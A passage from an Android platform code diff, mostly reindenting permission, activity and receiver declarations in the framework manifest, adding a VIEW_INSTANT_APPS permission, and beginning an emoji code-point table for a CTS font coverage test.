     <!-- @deprecated Use {@link android.Manifest.permission#BIND_CARRIER_SERVICES} instead -->
     <permission android:name="android.permission.BIND_CARRIER_MESSAGING_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to interact with the currently active
          {@link android.service.voice.VoiceInteractionService}.
          @hide -->
     <permission android:name="android.permission.ACCESS_VOICE_INTERACTION_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- The system process that is allowed to bind to services in carrier apps will
          have this permission. Carrier apps should use this permission to protect
@@ -3273,9 +3273,9 @@
          <p>Protection level: system|signature
     -->
     <permission android:name="android.permission.BIND_CARRIER_SERVICES"
-                android:label="@string/permlab_bindCarrierServices"
-                android:description="@string/permdesc_bindCarrierServices"
-                android:protectionLevel="signature|privileged" />
+        android:label="@string/permlab_bindCarrierServices"
+        android:description="@string/permdesc_bindCarrierServices"
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to query whether DO_NOT_ASK_CREDENTIALS_ON_BOOT
          flag is set.
@@ -3317,11 +3317,15 @@
          confirmation UI for full backup/restore -->
     <uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>
 
-
-    <!-- Allows the holder to access the instant applications on the device.
+    <!-- Allows the holder to access and manage instant applications on the device.
     @hide -->
     <permission android:name="android.permission.ACCESS_INSTANT_APPS"
-                android:protectionLevel="signature|installer|verifier" />
+            android:protectionLevel="signature|installer|verifier" />
+
+    <!-- Allows the holder to view the instant applications on the device.
+    @hide -->
+    <permission android:name="android.permission.VIEW_INSTANT_APPS"
+            android:protectionLevel="signature|preinstalled" />
 
     <!-- Allows receiving the usage of media resource e.g. video/audio codec and
          graphic memory.
@@ -3333,7 +3337,7 @@
          APIs given by {@link SoundTriggerManager}.
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_SOUND_TRIGGER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows trusted applications to dispatch managed provisioning message to Managed
          Provisioning app. If requesting app does not have permission, it will be ignored.
@@ -3357,24 +3361,24 @@
          the system can bind to it.
          <p>Protection level: signature -->
     <permission android:name="android.permission.BIND_VR_LISTENER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by system apps when accessing restricted VR APIs.
          @hide
          @SystemApi
          <p>Protection level: signature -->
     <permission android:name="android.permission.RESTRICTED_VR_ACCESS"
-                android:protectionLevel="signature|preinstalled" />
+        android:protectionLevel="signature|preinstalled" />
 
     <!-- Required to make calls to {@link android.service.vr.IVrManager}.
          @hide -->
     <permission android:name="android.permission.ACCESS_VR_MANAGER"
-                android:protectionLevel="signature" />
+            android:protectionLevel="signature" />
 
     <!-- Allows an application to whitelist tasks during lock task mode
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
-                android:protectionLevel="signature|setup" />
+        android:protectionLevel="signature|setup" />
 
     <!-- @SystemApi Allows an application to replace the app name displayed alongside notifications
          in the N-release and later.
@@ -3390,7 +3394,7 @@
     <!-- @SystemApi Allows an application to manage auto-fill sessions.
          @hide  <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_AUTO_FILL"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an app to set the theme overlay in /vendor/overlay
          being used.
@@ -3400,7 +3404,7 @@
 
     <!-- Allows an instant app to create foreground services. -->
     <permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"
-                android:protectionLevel="signature|development|ephemeral|appop" />
+        android:protectionLevel="signature|development|ephemeral|appop" />
 
     <application android:process="system"
                  android:persistent="true"
@@ -3415,14 +3419,14 @@
                  android:defaultToDeviceProtectedStorage="true"
                  android:directBootAware="true">
         <activity android:name="com.android.internal.app.ChooserActivity"
-                  android:theme="@style/Theme.DeviceDefault.Resolver"
-                  android:finishOnCloseSystemDialogs="true"
-                  android:excludeFromRecents="true"
-                  android:documentLaunchMode="never"
-                  android:relinquishTaskIdentity="true"
-                  android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
-                  android:process=":ui"
-                  android:visibleToInstantApps="true">
+                android:theme="@style/Theme.DeviceDefault.Resolver"
+                android:finishOnCloseSystemDialogs="true"
+                android:excludeFromRecents="true"
+                android:documentLaunchMode="never"
+                android:relinquishTaskIdentity="true"
+                android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
             <intent-filter>
                 <action android:name="android.intent.action.CHOOSER" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -3445,106 +3449,106 @@
             </intent-filter>
         </activity>
         <activity android:name="com.android.internal.app.IntentForwarderActivity"
-                  android:finishOnCloseSystemDialogs="true"
-                  android:theme="@style/Theme.NoDisplay"
-                  android:excludeFromRecents="true"
-                  android:label="@string/user_owner_label"
-                  android:exported="true"
-        >
+                android:finishOnCloseSystemDialogs="true"
+                android:theme="@style/Theme.NoDisplay"
+                android:excludeFromRecents="true"
+                android:label="@string/user_owner_label"
+                android:exported="true"
+                >
         </activity>
         <activity-alias android:name="com.android.internal.app.ForwardIntentToParent"
-                        android:targetActivity="com.android.internal.app.IntentForwarderActivity"
-                        android:exported="true"
-                        android:label="@string/user_owner_label">
+                android:targetActivity="com.android.internal.app.IntentForwarderActivity"
+                android:exported="true"
+                android:label="@string/user_owner_label">
         </activity-alias>
         <activity-alias android:name="com.android.internal.app.ForwardIntentToManagedProfile"
-                        android:targetActivity="com.android.internal.app.IntentForwarderActivity"
-                        android:icon="@drawable/ic_corp_icon"
-                        android:exported="true"
-                        android:label="@string/managed_profile_label">
+                android:targetActivity="com.android.internal.app.IntentForwarderActivity"
+                android:icon="@drawable/ic_corp_icon"
+                android:exported="true"
+                android:label="@string/managed_profile_label">
         </activity-alias>
         <activity android:name="com.android.internal.app.HeavyWeightSwitcherActivity"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog"
-                  android:label="@string/heavy_weight_switcher_title"
-                  android:finishOnCloseSystemDialogs="true"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/heavy_weight_switcher_title"
+                android:finishOnCloseSystemDialogs="true"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
         <activity android:name="com.android.internal.app.PlatLogoActivity"
-                  android:theme="@style/Theme.Wallpaper.NoTitleBar.Fullscreen"
-                  android:configChanges="orientation|keyboardHidden"
-                  android:process=":ui">
+                android:theme="@style/Theme.Wallpaper.NoTitleBar.Fullscreen"
+                android:configChanges="orientation|keyboardHidden"
+                android:process=":ui">
         </activity>
         <activity android:name="com.android.internal.app.DisableCarModeActivity"
-                  android:theme="@style/Theme.NoDisplay"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.NoDisplay"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
         <activity android:name="com.android.internal.app.DumpHeapActivity"
-                  android:theme="@style/Theme.Translucent.NoTitleBar"
-                  android:label="@string/dump_heap_title"
-                  android:finishOnCloseSystemDialogs="true"
-                  android:noHistory="true"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.Translucent.NoTitleBar"
+                android:label="@string/dump_heap_title"
+                android:finishOnCloseSystemDialogs="true"
+                android:noHistory="true"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
         <provider android:name="com.android.server.am.DumpHeapProvider"
-                  android:authorities="com.android.server.heapdump"
-                  android:grantUriPermissions="true"
-                  android:multiprocess="false"
-                  android:singleUser="true" />
+                android:authorities="com.android.server.heapdump"
+                android:grantUriPermissions="true"
+                android:multiprocess="false"
+                android:singleUser="true" />
 
         <activity android:name="android.accounts.ChooseAccountActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog"
-                  android:label="@string/choose_account_label"
-                  android:process=":ui"
-                  android:visibleToInstantApps="true">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/choose_account_label"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.accounts.ChooseTypeAndAccountActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog"
-                  android:label="@string/choose_account_label"
-                  android:process=":ui"
-                  android:visibleToInstantApps="true">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/choose_account_label"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.accounts.ChooseAccountTypeActivity"
-                  android:excludeFromRecents="true"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog"
-                  android:label="@string/choose_account_label"
-                  android:process=":ui"
-                  android:visibleToInstantApps="true">
+                android:excludeFromRecents="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/choose_account_label"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.accounts.CantAddAccountActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog.NoActionBar"
-                  android:process=":ui">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.NoActionBar"
+                android:process=":ui">
         </activity>
 
         <activity android:name="android.accounts.GrantCredentialsPermissionActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.DeviceDefault.Light.DialogWhenLarge"
-                  android:process=":ui"
-                  android:visibleToInstantApps="true">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.DialogWhenLarge"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.content.SyncActivityTooManyDeletes"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog"
-                  android:label="@string/sync_too_many_deletes"
-                  android:process=":ui">
+               android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+               android:label="@string/sync_too_many_deletes"
+               android:process=":ui">
         </activity>
 
         <activity android:name="com.android.internal.app.ShutdownActivity"
-                  android:permission="android.permission.SHUTDOWN"
-                  android:theme="@style/Theme.NoDisplay"
-                  android:excludeFromRecents="true">
+            android:permission="android.permission.SHUTDOWN"
+            android:theme="@style/Theme.NoDisplay"
+            android:excludeFromRecents="true">
             <intent-filter>
                 <action android:name="com.android.internal.intent.action.REQUEST_SHUTDOWN" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -3556,9 +3560,9 @@
         </activity>
 
         <activity android:name="com.android.internal.app.NetInitiatedActivity"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
 
         <activity android:name="com.android.internal.app.SystemUserHomeActivity"
@@ -3575,9 +3579,9 @@
         <!-- Activity to prompt user if it's ok to create a new user sandbox for a
              specified account. -->
         <activity android:name="com.android.internal.app.ConfirmUserCreationActivity"
-                  android:excludeFromRecents="true"
-                  android:process=":ui"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert">
+                android:excludeFromRecents="true"
+                android:process=":ui"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert">
             <intent-filter android:priority="1000">
                 <action android:name="android.os.action.CREATE_USER" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -3585,9 +3589,9 @@
         </activity>
 
         <activity android:name="com.android.internal.app.UnlaunchableAppActivity"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
 
         <activity android:name="com.android.settings.notification.NotificationAccessConfirmationActivity"
@@ -3596,14 +3600,14 @@
         </activity>
 
         <receiver android:name="com.android.server.BootReceiver"
-                  android:systemUserOnly="true">
+                android:systemUserOnly="true">
             <intent-filter android:priority="1000">
                 <action android:name="android.intent.action.BOOT_COMPLETED" />
             </intent-filter>
         </receiver>
 
         <receiver android:name="com.android.server.updates.CertPinInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_PINS" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3611,7 +3615,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.IntentFirewallInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_INTENT_FIREWALL" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3619,7 +3623,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.SmsShortCodesInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_SMS_SHORT_CODES" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3627,7 +3631,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.ApnDbInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="com.android.internal.intent.action.UPDATE_APN_DB" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3635,7 +3639,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CarrierProvisioningUrlsInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_CARRIER_PROVISIONING_URLS" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3643,7 +3647,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.TzDataInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_TZDATA" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3651,7 +3655,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CertificateTransparencyLogInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_CT_LOGS" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3659,7 +3663,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.LangIdInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_LANG_ID" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3667,7 +3671,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.SmartSelectionInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_SMART_SELECTION" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3675,7 +3679,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.MasterClearReceiver"
-                  android:permission="android.permission.MASTER_CLEAR">
+            android:permission="android.permission.MASTER_CLEAR">
             <intent-filter
                     android:priority="100" >
                 <!-- For Checkin, Settings, etc.: action=FACTORY_RESET -->
@@ -3691,12 +3695,12 @@
         </receiver>
 
         <service android:name="android.hardware.location.GeofenceHardwareService"
-                 android:permission="android.permission.LOCATION_HARDWARE"
-                 android:exported="false" />
+            android:permission="android.permission.LOCATION_HARDWARE"
+            android:exported="false" />
 
         <service android:name="com.android.internal.backup.LocalTransportService"
-                 android:permission="android.permission.CONFIRM_FULL_BACKUP"
-                 android:exported="false">
+                android:permission="android.permission.CONFIRM_FULL_BACKUP"
+                android:exported="false">
             <intent-filter>
                 <action android:name="android.backup.TRANSPORT_HOST" />
             </intent-filter>
diff --git a/tests/tests/text/src/android/text/cts/FontCoverageTest.java b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
index bd09474..4f66ee7 100644
--- a/tests/tests/text/src/android/text/cts/FontCoverageTest.java
+++ b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
@@ -1216,7 +1216,7 @@
     }
 
     @Test
-    public void testCoverage() {
+    public void testLanguageCoverage() {
         final Paint paint = new Paint();
         final String[] localeNames = Resources.getSystem().getStringArray(
                 Resources.getSystem().getIdentifier("supported_locales", "array", "android"));
@@ -1240,4 +1240,1199 @@
             });
         }
     }
+
+    // All emoji characters in Unicode 10.0/Emoji 5.0
+    private static final int[] ALL_EMOJI = {
+        0x0023, // NUMBER SIGN
+        0x002A, // ASTERISK
+        0x0030, // DIGIT ZERO
+        0x0031, // DIGIT ONE
+        0x0032, // DIGIT TWO
+        0x0033, // DIGIT THREE
+        0x0034, // DIGIT FOUR
+        0x0035, // DIGIT FIVE
+        0x0036, // DIGIT SIX
+        0x0037, // DIGIT SEVEN
+        0x0038, // DIGIT EIGHT
+        0x0039, // DIGIT NINE
+        0x00A9, // COPYRIGHT SIGN
+        0x00AE, // REGISTERED SIGN
+        0x203C, // DOUBLE EXCLAMATION MARK
+        0x2049, // EXCLAMATION QUESTION MARK
+        0x2122, // TRADE MARK SIGN
+        0x2139, // INFORMATION SOURCE
+        0x2194, // LEFT RIGHT ARROW
+        0x2195, // UP DOWN ARROW
+        0x2196, // NORTH WEST ARROW
+        0x2197, // NORTH EAST ARROW
+        0x2198, // SOUTH EAST ARROW
+        0x2199, // SOUTH WEST ARROW
+        0x21A9, // LEFTWARDS ARROW WITH HOOK
+        0x21AA, // RIGHTWARDS ARROW WITH HOOK
+        0x231A, // WATCH
+        0x231B, // HOURGLASS
+        0x2328, // KEYBOARD
+        0x23CF, // EJECT SYMBOL
+        0x23E9, // BLACK RIGHT-POINTING DOUBLE TRIANGLE
+        0x23EA, // BLACK LEFT-POINTING DOUBLE TRIANGLE
+        0x23EB, // BLACK UP-POINTING DOUBLE TRIANGLE
+        0x23EC, // BLACK DOWN-POINTING DOUBLE TRIANGLE
+        0x23ED, // BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+        0x23EE, // BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+        0x23EF, // BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
+        0x23F0, // ALARM CLOCK
+        0x23F1, // STOPWATCH
+        0x23F2, // TIMER CLOCK
+        0x23F3, // HOURGLASS WITH FLOWING SAND
+        0x23F8, // DOUBLE VERTICAL BAR
+        0x23F9, // BLACK SQUARE FOR STOP
+        0x23FA, // BLACK CIRCLE FOR RECORD
+        0x24C2, // CIRCLED LATIN CAPITAL LETTER M
+        0x25AA, // BLACK SMALL SQUARE
+        0x25AB, // WHITE SMALL SQUARE
+        0x25B6, // BLACK RIGHT-POINTING TRIANGLE
+        0x25C0, // BLACK LEFT-POINTING TRIANGLE
+        0x25FB, // WHITE MEDIUM SQUARE
+        0x25FC, // BLACK MEDIUM SQUARE
+        0x25FD, // WHITE MEDIUM SMALL SQUARE
+        0x25FE, // BLACK MEDIUM SMALL SQUARE
+        0x2600, // BLACK SUN WITH RAYS
+        0x2601, // CLOUD
+        0x2602, // UMBRELLA
+        0x2603, // SNOWMAN
+        0x2604, // COMET
+        0x260E, // BLACK TELEPHONE
+        0x2611, // BALLOT BOX WITH CHECK
+        0x2614, // UMBRELLA WITH RAIN DROPS
+        0x2615, // HOT BEVERAGE
+        0x2618, // SHAMROCK
+        0x261D, // WHITE UP POINTING INDEX
+        0x2620, // SKULL AND CROSSBONES
+        0x2622, // RADIOACTIVE SIGN
+        0x2623, // BIOHAZARD SIGN
+        0x2626, // ORTHODOX CROSS
+        0x262A, // STAR AND CRESCENT
+        0x262E, // PEACE SYMBOL
+        0x262F, // YIN YANG
+        0x2638, // WHEEL OF DHARMA
+        0x2639, // WHITE FROWNING FACE
+        0x263A, // WHITE SMILING FACE
+        0x2640, // FEMALE SIGN
+        0x2642, // MALE SIGN
+        0x2648, // ARIES
+        0x2649, // TAURUS
+        0x264A, // GEMINI
+        0x264B, // CANCER
+        0x264C, // LEO
+        0x264D, // VIRGO
+        0x264E, // LIBRA
+        0x264F, // SCORPIUS
+        0x2650, // SAGITTARIUS
+        0x2651, // CAPRICORN
+        0x2652, // AQUARIUS
+        0x2653, // PISCES
+        0x2660, // BLACK SPADE SUIT
+        0x2663, // BLACK CLUB SUIT
+        0x2665, // BLACK HEART SUIT
+        0x2666, // BLACK DIAMOND SUIT
+        0x2668, // HOT SPRINGS
+        0x267B, // BLACK UNIVERSAL RECYCLING SYMBOL
+        0x267F, // WHEELCHAIR SYMBOL
+        0x2692, // HAMMER AND PICK
+        0x2693, // ANCHOR
+        0x2694, // CROSSED SWORDS
+        0x2695, // STAFF OF AESCULAPIUS
+        0x2696, // SCALES
+        0x2697, // ALEMBIC
+        0x2699, // GEAR
+        0x269B, // ATOM SYMBOL
+        0x269C, // FLEUR-DE-LIS
+        0x26A0, // WARNING SIGN
+        0x26A1, // HIGH VOLTAGE SIGN
+        0x26AA, // MEDIUM WHITE CIRCLE
+        0x26AB, // MEDIUM BLACK CIRCLE
+        0x26B0, // COFFIN
+        0x26B1, // FUNERAL URN
+        0x26BD, // SOCCER BALL
+        0x26BE, // BASEBALL
+        0x26C4, // SNOWMAN WITHOUT SNOW
+        0x26C5, // SUN BEHIND CLOUD
+        0x26C8, // THUNDER CLOUD AND RAIN
+        0x26CE, // OPHIUCHUS
+        0x26CF, // PICK
+        0x26D1, // HELMET WITH WHITE CROSS
+        0x26D3, // CHAINS
+        0x26D4, // NO ENTRY
+        0x26E9, // SHINTO SHRINE
+        0x26EA, // CHURCH
+        0x26F0, // MOUNTAIN
+        0x26F1, // UMBRELLA ON GROUND
+        0x26F2, // FOUNTAIN
+        0x26F3, // FLAG IN HOLE
+        0x26F4, // FERRY
+        0x26F5, // SAILBOAT
+        0x26F7, // SKIER
+        0x26F8, // ICE SKATE
+        0x26F9, // PERSON WITH BALL
+        0x26FA, // TENT
+        0x26FD, // FUEL PUMP
+        0x2702, // BLACK SCISSORS
+        0x2705, // WHITE HEAVY CHECK MARK
+        0x2708, // AIRPLANE
+        0x2709, // ENVELOPE
+        0x270A, // RAISED FIST
+        0x270B, // RAISED HAND
+        0x270C, // VICTORY HAND
+        0x270D, // WRITING HAND
+        0x270F, // PENCIL
+        0x2712, // BLACK NIB
+        0x2714, // HEAVY CHECK MARK
+        0x2716, // HEAVY MULTIPLICATION X
+        0x271D, // LATIN CROSS
+        0x2721, // STAR OF DAVID
+        0x2728, // SPARKLES
+        0x2733, // EIGHT SPOKED ASTERISK
+        0x2734, // EIGHT POINTED BLACK STAR
+        0x2744, // SNOWFLAKE
+        0x2747, // SPARKLE
+        0x274C, // CROSS MARK
+        0x274E, // NEGATIVE SQUARED CROSS MARK
+        0x2753, // BLACK QUESTION MARK ORNAMENT
+        0x2754, // WHITE QUESTION MARK ORNAMENT
+        0x2755, // WHITE EXCLAMATION MARK ORNAMENT
+        0x2757, // HEAVY EXCLAMATION MARK SYMBOL
+        0x2763, // HEAVY HEART EXCLAMATION MARK ORNAMENT
+        0x2764, // HEAVY BLACK HEART
+        0x2795, // HEAVY PLUS SIGN
+        0x2796, // HEAVY MINUS SIGN
+        0x2797, // HEAVY DIVISION SIGN
+        0x27A1, // BLACK RIGHTWARDS ARROW
+        0x27B0, // CURLY LOOP
+        0x27BF, // DOUBLE CURLY LOOP
+        0x2934, // ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS
+        0x2935, // ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS
+        0x2B05, // LEFTWARDS BLACK ARROW
+        0x2B06, // UPWARDS BLACK ARROW
+        0x2B07, // DOWNWARDS BLACK ARROW
+        0x2B1B, // BLACK LARGE SQUARE
+        0x2B1C, // WHITE LARGE SQUARE
+        0x2B50, // WHITE MEDIUM STAR
+        0x2B55, // HEAVY LARGE CIRCLE
+        0x3030, // WAVY DASH
+        0x303D, // PART ALTERNATION MARK
+        0x3297, // CIRCLED IDEOGRAPH CONGRATULATION
+        0x3299, // CIRCLED IDEOGRAPH SECRET
+        0x1F004, // MAHJONG TILE RED DRAGON
+        0x1F0CF, // PLAYING CARD BLACK JOKER
+        0x1F170, // NEGATIVE SQUARED LATIN CAPITAL LETTER A
+        0x1F171, // NEGATIVE SQUARED LATIN CAPITAL LETTER B
+        0x1F17E, // NEGATIVE SQUARED LATIN CAPITAL LETTER O
+        0x1F17F, // NEGATIVE SQUARED LATIN CAPITAL LETTER P
+        0x1F18E, // NEGATIVE SQUARED AB
+        0x1F191, // SQUARED CL
+        0x1F192, // SQUARED COOL
+        0x1F193, // SQUARED FREE
+        0x1F194, // SQUARED ID
+        0x1F195, // SQUARED NEW
+        0x1F196, // SQUARED NG
+        0x1F197, // SQUARED OK
+        0x1F198, // SQUARED SOS
+        0x1F199, // SQUARED UP WITH EXCLAMATION MARK
+        0x1F19A, // SQUARED VS
+        0x1F1E6, // REGIONAL INDICATOR SYMBOL LETTER A
+        0x1F1E7, // REGIONAL INDICATOR SYMBOL LETTER B
+        0x1F1E8, // REGIONAL INDICATOR SYMBOL LETTER C
+        0x1F1E9, // REGIONAL INDICATOR SYMBOL LETTER D
+        0x1F1EA, // REGIONAL INDICATOR SYMBOL LETTER E
+        0x1F1EB, // REGIONAL INDICATOR SYMBOL LETTER F
+        0x1F1EC, // REGIONAL INDICATOR SYMBOL LETTER G
+        0x1F1ED, // REGIONAL INDICATOR SYMBOL LETTER H
+        0x1F1EE, // REGIONAL INDICATOR SYMBOL LETTER I
+        0x1F1EF, // REGIONAL INDICATOR SYMBOL LETTER J
+        0x1F1F0, // REGIONAL INDICATOR SYMBOL LETTER K
+        0x1F1F1, // REGIONAL INDICATOR SYMBOL LETTER L
+        0x1F1F2, // REGIONAL INDICATOR SYMBOL LETTER M
+        0x1F1F3, // REGIONAL INDICATOR SYMBOL LETTER N
+        0x1F1F4, // REGIONAL INDICATOR SYMBOL LETTER O
+        0x1F1F5, // REGIONAL INDICATOR SYMBOL LETTER P
+        0x1F1F6, // REGIONAL INDICATOR SYMBOL LETTER Q
+        0x1F1F7, // REGIONAL INDICATOR SYMBOL LETTER R
+        0x1F1F8, // REGIONAL INDICATOR SYMBOL LETTER S
+        0x1F1F9, // REGIONAL INDICATOR SYMBOL LETTER T
+        0x1F1FA, // REGIONAL INDICATOR SYMBOL LETTER U
+        0x1F1FB, // REGIONAL INDICATOR SYMBOL LETTER V
+        0x1F1FC, // REGIONAL INDICATOR SYMBOL LETTER W
+        0x1F1FD, // REGIONAL INDICATOR SYMBOL LETTER X
+        0x1F1FE, // REGIONAL INDICATOR SYMBOL LETTER Y
+        0x1F1FF, // REGIONAL INDICATOR SYMBOL LETTER Z
+        0x1F201, // SQUARED KATAKANA KOKO
+        0x1F202, // SQUARED KATAKANA SA
+        0x1F21A, // SQUARED CJK UNIFIED IDEOGRAPH-7121
+        0x1F22F, // SQUARED CJK UNIFIED IDEOGRAPH-6307
+        0x1F232, // SQUARED CJK UNIFIED IDEOGRAPH-7981
+        0x1F233, // SQUARED CJK UNIFIED IDEOGRAPH-7A7A
+        0x1F234, // SQUARED CJK UNIFIED IDEOGRAPH-5408
+        0x1F235, // SQUARED CJK UNIFIED IDEOGRAPH-6E80
+        0x1F236, // SQUARED CJK UNIFIED IDEOGRAPH-6709
+        0x1F237, // SQUARED CJK UNIFIED IDEOGRAPH-6708
+        0x1F238, // SQUARED CJK UNIFIED IDEOGRAPH-7533
+        0x1F239, // SQUARED CJK UNIFIED IDEOGRAPH-5272
+        0x1F23A, // SQUARED CJK UNIFIED IDEOGRAPH-55B6
+        0x1F250, // CIRCLED IDEOGRAPH ADVANTAGE
+        0x1F251, // CIRCLED IDEOGRAPH ACCEPT
+        0x1F300, // CYCLONE
+        0x1F301, // FOGGY
+        0x1F302, // CLOSED UMBRELLA
+        0x1F303, // NIGHT WITH STARS
+        0x1F304, // SUNRISE OVER MOUNTAINS
+        0x1F305, // SUNRISE
+        0x1F306, // CITYSCAPE AT DUSK
+        0x1F307, // SUNSET OVER BUILDINGS
+        0x1F308, // RAINBOW
+        0x1F309, // BRIDGE AT NIGHT
+        0x1F30A, // WATER WAVE
+        0x1F30B, // VOLCANO
+        0x1F30C, // MILKY WAY
+        0x1F30D, // EARTH GLOBE EUROPE-AFRICA
+        0x1F30E, // EARTH GLOBE AMERICAS
+        0x1F30F, // EARTH GLOBE ASIA-AUSTRALIA
+        0x1F310, // GLOBE WITH MERIDIANS
+        0x1F311, // NEW MOON SYMBOL
+        0x1F312, // WAXING CRESCENT MOON SYMBOL
+        0x1F313, // FIRST QUARTER MOON SYMBOL
+        0x1F314, // WAXING GIBBOUS MOON SYMBOL
+        0x1F315, // FULL MOON SYMBOL
